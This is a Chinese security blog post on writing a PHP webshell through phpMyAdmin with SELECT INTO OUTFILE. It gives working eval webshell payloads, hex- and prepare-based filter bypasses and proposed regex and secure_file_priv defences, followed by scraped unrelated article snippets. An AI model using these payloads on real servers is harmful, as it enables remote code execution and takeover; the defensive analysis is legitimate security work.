Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk
目录
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性
0x1: Mysql SQL预编译(PREPARE Syntax)
/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later.
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements.
*/
PREPARE stmt_name FROM preparable_stmt
0x2: Mysql SQL执行(EXECUTE Syntax)
EXECUTE stmt_name
[USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606
2. 漏洞触发条件
. 已知phpmyadmin的root密码,即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
) mysql本身默认的弱口令
) 通过其他漏洞(例如注入)获得了mysql的root密码
. 已知网站的物理路径
) 在phpmyadmin的后台的"变量"tab页面,可以看到mysql的物理路径,从而推测出网站的物理路径
) 通过其他web漏洞获得网站的物理路径
通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作,常见的sql如下
-------
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
------- -------
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
------- -------
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a;
------- -------
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
------- -------
//declared mysql function
use test;
delimiter $$
CREATE FUNCTION myFunction
(in_string VARCHAR())
RETURNS VARCHAR() BEGIN
DECLARE new_string VARCHAR();
SET new_string = replace(in_string,"outo","into");
RETURN(new_string);
END$$ //hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
-------
Relevant Link:
http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695
3. 漏洞影响范围
全部phpmyadmin版本
4. 漏洞代码分析
/phpMyAdmin/import.php
所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现
/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql)
{
// parse sql query
include_once 'libraries/parse_analyze.inc.php'; if (isset($ajax_reload) && $ajax_reload['reload'] === true)
{
$response = PMA_Response::getInstance();
$response->addJSON('ajax_reload', $ajax_reload);
}
PMA_executeQueryAndSendQueryResponse(
$analyzed_sql_results, false, $db, $table, null, $import_text, null,
$analyzed_sql_results['is_affected'], null,
null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
null, null
);
}
else if ($result)
{
// Save a Bookmark with more than one queries (if Bookmark label given).
if (! empty($_POST['bkm_label']) && ! empty($import_text))
{
PMA_storeTheQueryAsBookmark(
$db, $GLOBALS['cfg']['Bookmark']['user'],
$import_text, $_POST['bkm_label'],
isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
);
} $response = PMA_Response::getInstance();
$response->isSuccess(true);
$response->addJSON('message', PMA_Message::success($msg));
$response->addJSON(
'sql_query',
PMA_Util::getMessage($msg, $sql_query, 'success')
);
}
else if ($result == false)
{
$response = PMA_Response::getInstance();
$response->isSuccess(false);
$response->addJSON('message', PMA_Message::error($msg));
}
else
{
$active_page = $goto;
include '' . $goto;
}
5. 防御方法
对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
/phpMyAdmin/import.php
} elseif (! empty($id_bookmark)) {
// run bookmark
$import_type = 'query';
$format = 'sql';
}
//在文件的最开头进行SQL恶意检测,最大程度地兼容所有pmd的sql解析、执行逻辑
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[]; die($erromsg); }
//file name filter
$matchResult = preg_match_all("#\b(0[xX]){0,1}[0-9a-fA-F]+\b#", $import_text, $matchs);
if($matchResult != && $matchResult != FALSE)
{
foreach ($matchs[] as $key => $value)
{
$hex = substr($value, );
$import_text_hex = hex2bin($hex);
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[]; die($pmderromsg); }
}
}
要特别注意的是,在使用PHP的正则匹配引擎的时候,需要考虑到换行场景下的bypass风险
还需要注意的,MYSQL存在很多扩展语法,例如
. 定义存储过程
. 定义函数
. 定义触发器
. 使用语法预处理编译
/*
prepare stmt from 'select count(*) from information_schema.schemata';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
*/
从攻防的本质上来讲,phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量,黑客还可以通过其他的攻击向量发起攻击
. 通过mysql弱口令,进mysql,添加一个账户,开启远程外连
. 通过mysql命令行连接之后,通过命令行执行sql导出文件
要想做到彻底防御,要从多个角度入手进行防御
. 对phpmyadmin的/import.php进行代码层防御,禁止用户执行导出文件相关的GETSHELL
. 对mysql的弱口令密码进行健康检测,提示管理员修改密码
. 使用主动防御Hook技术,接管文件系统,禁止mysql进行写xxx.php文件
0x2: 权限ACL控制
mysql5.7以后新增了对文件操作的ACL控制
| Command-Line Format | --secure-file-priv=dir_name |
||
| System Variable | Name | secure_file_priv |
|
| Variable Scope | Global | ||
| Dynamic Variable | No | ||
| Permitted Values (<= 5.7.5) | Type | string | |
| Default | empty |
||
| Valid Values | empty |
||
dirname |
|||
| Permitted Values (>= 5.7.6) | Type | string | |
| Default | platform specific |
||
| Valid Values | empty |
||
dirname |
|||
NULL |
|||
默认情况下,利用mysql文件导出写shell会遇到如下错误

需要手工添加信任目录
Relevant Link:
http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved
Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk的更多相关文章
- getshell技巧-phpMyAdmin的利用
生活就是泥沙俱下,鲜花和荆棘并存.--毕淑敏 1.明确目标2.信息收集3.漏洞挖掘和利用 信息收集 明确路径 利用目录扫描工具,对目标网站进行扫描,获取网站目录.常用工具有Kali中的DirBuste ...
- TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded
TT8509: PL/SQL execution terminated; PLSQL_TIMEOUT exceeded plsql_timeout连接超时,解决办法: ODBC pl/sql选项卡 修 ...
- sql server数据库字段名要注意不能叫file
sql server数据库字段名要注意不能叫file 如java 中 private string file,这是sql 的关键字
- PL/SQL developer export/import (转)
export/import图标为灰色:原因:相关应用程序没有关联菜单栏 --> Tools --> Import Tables... --> Oracle Import Export ...
- [转载] Can't create table './store/#sql-b2c_1a.frm' (errno: 150)和sql execution error #1452添加外键时错误解决方法
Can't create table './store/#sql-b2c_1a.frm' (errno: 150)解决方法 错误原因有四: 1.外键的引用类型不一样,主键是int外键是char 2.找 ...
- Error:Execution failed for task ':app:mergeDebugResources'. > Error: Some file crunching failed, see logs for details
android studio中的资源文件命名是不能带有数字的,因为会与R类的资源ID起冲突,所以编译就发生了错误.
- Spark2.x(六十一):在Spark2.4 Structured Streaming中Dataset是如何执行加载数据源的?
本章主要讨论,在Spark2.4 Structured Streaming读取kafka数据源时,kafka的topic数据是如何被执行的过程进行分析. 以下边例子展开分析: SparkSession ...
- Python信息采集器使用轻量级关系型数据库SQLite
1,引言Python自带一个轻量级的关系型数据库SQLite.这一数据库使用SQL语言.SQLite作为后端数据库,可以搭配Python建网站,或者为python网络爬虫存储数据.SQLite还在其它 ...
- python快速教程-vamei
2016年10月26日 12:00:53 今天开始着手python的学习,希望能高效快速的学完! Python基础(上)... 7 实验简介... 7 一.实验说明... 8 1. 环境登录... 8 ...
随机推荐
- SQLServer 分布式查询MySQL
这学期开了分布式数据库这门课,开始编程实现,今天调试了一早上,写下此配置文件方便查询. 本文实现的是SQLServer2008 Express 链式添加MySql-5.6.10数据库,进行远程操作. ...
- FineUI v3.3.1 发布了!
关于FineUI基于 ExtJS 的专业 ASP.NET 控件库. FineUI的使命创建 No JavaScript,No CSS,No UpdatePanel,No ViewState,No We ...
- Data URI 应用场景小结
Data URI scheme 在前端开发中是个常用的技术,通常会在 CSS 设置背景图中用到.比如在 Google 的首页就有用到: Data URI scheme 简称 Data URI,经常会被 ...
- .NET MVC HtmlHepler
一.HtmlHepler 1.ActionLink() 动态生成 超链接:根据路由规则,生成对应的 html 代码. //1.注册路由信息 routes.MapRoute( name: "D ...
- ASP.NET MVC 多语言实现技巧 最简、最易维护和最快速开发
说说传统做法的缺点 1.做过多语言的都知道这玩意儿太花时间 2.多语言架构一般使用资源文件.XML或者存储数据库来实现.这样就在一定程序上降低了性能 3.页面的可读性变差,需要和资源文件进行来回切换 ...
- Google搜索的几个使用技巧——让你的搜索结果更准确
对于软件开发人员来说,不知道的内容在网上搜索是再正常不过的了.今天同事在组内分享了几个谷歌搜索的使用技巧,在此自己总结一下,希望可以帮到更多人. 在此之前先要唠叨几句,什么时候用百度,什么时候用谷歌? ...
- Realm Java的学习、应用、总结
从React Native珠三角沙龙会议了解到Realm这个开源库,然后开始学习.理解和使用Realm.Realm是跨平台.支持多种主流语言,这里主要是对Realm Java结合实际项目的一些情况进行 ...
- HBase初探
string hbaseCluster = "https://charju.azurehdinsight.net"; string hadoopUsername = "账 ...
- [HDOJ5451]Best Solver(乱搞)
题目:http://acm.hdu.edu.cn/showproblem.php?pid=5451 分析:A=5+2根号6 B=6-2根号6 n=1+2^x 那么A^n+B^n是整数 注意到0< ...
- STM32 C语言,端口映射
static XX 有记忆的定义 typedef XX 可以多次定义一个 #ifedf XXX XXX(程序段1) #else XXX(程序段2)